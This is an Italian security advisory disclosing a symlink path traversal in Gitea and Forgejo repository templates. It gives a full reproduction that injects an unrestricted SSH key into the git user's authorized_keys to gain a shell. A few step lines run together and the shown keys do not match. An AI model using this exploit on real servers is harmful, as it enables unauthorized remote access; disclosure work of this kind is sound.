
Il path traversal nell'elaborazione dei modelli di repository di Gitea e Forgejo consente a utenti autenticati remoti di elaborare file arbitrari sul filesystem, portando all'esecuzione di codice in remoto.
Quest'opera è distribuita con licenza Creative Commons Attribution-ShareAlike 4.0 International License.
Durante l'analisi del codice sorgente di Forgejo e Gitea per comprendere meglio come viene eseguito il templating, ho scoperto una vulnerabilità che permette a un utente autenticato di creare un repository template malevolo che può essere utilizzato per elaborare file arbitrari sul filesystem.
Quando si crea un repository basato sul contenuto Git del template malevolo, il template sarà in grado di espandere file arbitrari sul filesystem.
Conoscendo il percorso della home directory dell'utente git (che per impostazione predefinita è /data/git nell'immagine docker ufficiale), un attaccante può espandere il file .ssh/authorized_keys dell'utente git per iniettare una chiave senza il parametro command, che può essere utilizzata per eseguire comandi arbitrari o una shell interattiva.
Versioni affette: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Componente affetto: Repository template
Causa principale: Dereferenziazione di collegamenti simbolici durante la lettura e scrittura dei contenuti dei file template
L'attaccante si autentica come utente legittimo
L'attaccante crea un repository template malevolo contenente un collegamento simbolico al file .ssh/authorized_keys dell'utente git (ipotesi) e un file .forgejo/template che fa riferimento al collegamento simbolico
L'attaccante aggiunge una chiave pubblica ssh al suo account con un commento personalizzato che termina con ${REPO_DESCRIPTION}
L'attaccante crea un repository che fa riferimento al repository template malevolo con il templating del contenuto Git abilitato e una descrizione contenente un carattere di nuova riga seguito da un'altra chiave pubblica ssh
I template di Gitea/Forgejo leggono e elaborano il collegamento simbolico authorized_keys, causando l'espansione del commento della chiave pubblica precedentemente impostata in una voce arbitraria corrispondente alla descrizione del repository dell'attaccante, senza il parametro command
L'attaccante effettua il login interattivo come utente git, utilizzando la chiave iniettata
È anche possibile per l'attaccante corrompere il file di configurazione, il database SQLite o causare un denial of service leggendo file enormi.
Installare e configurare una versione vulnerabile di Gitea/Forgejo
Registrare o creare un account per l'attaccante utilizzando l'account amministratore
Effettuare il login con l'account dell'attaccante
Generare due chiavi SSH diverse: una per Git e una per SSH interattivo
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub come chiave SSH autorizzata utilizzando l'interfaccia di Gitea/ForgejoIl commento della chiave dovrebbe essere presente e apparire così:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Il file .ssh/authorized_keys dell'utente git ora appare così:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Creare un repository template malevolo utilizzando l'interfaccia di Gitea/Forgejo
Clonare il repository template e aggiungere il collegamento simbolico malevolo e la configurazione del template
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubLa descrizione del repository dovrebbe apparire così:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
replaced sulla prima riga non è obbligatorio, ma è necessario assicurarsi che il carattere di nuova riga sia comunque presente. Il commento attacker@machine alla fine della riga è anch'esso opzionale.
Il file .ssh/authorized_keys risultante dell'utente git apparirà così:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh e il client sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222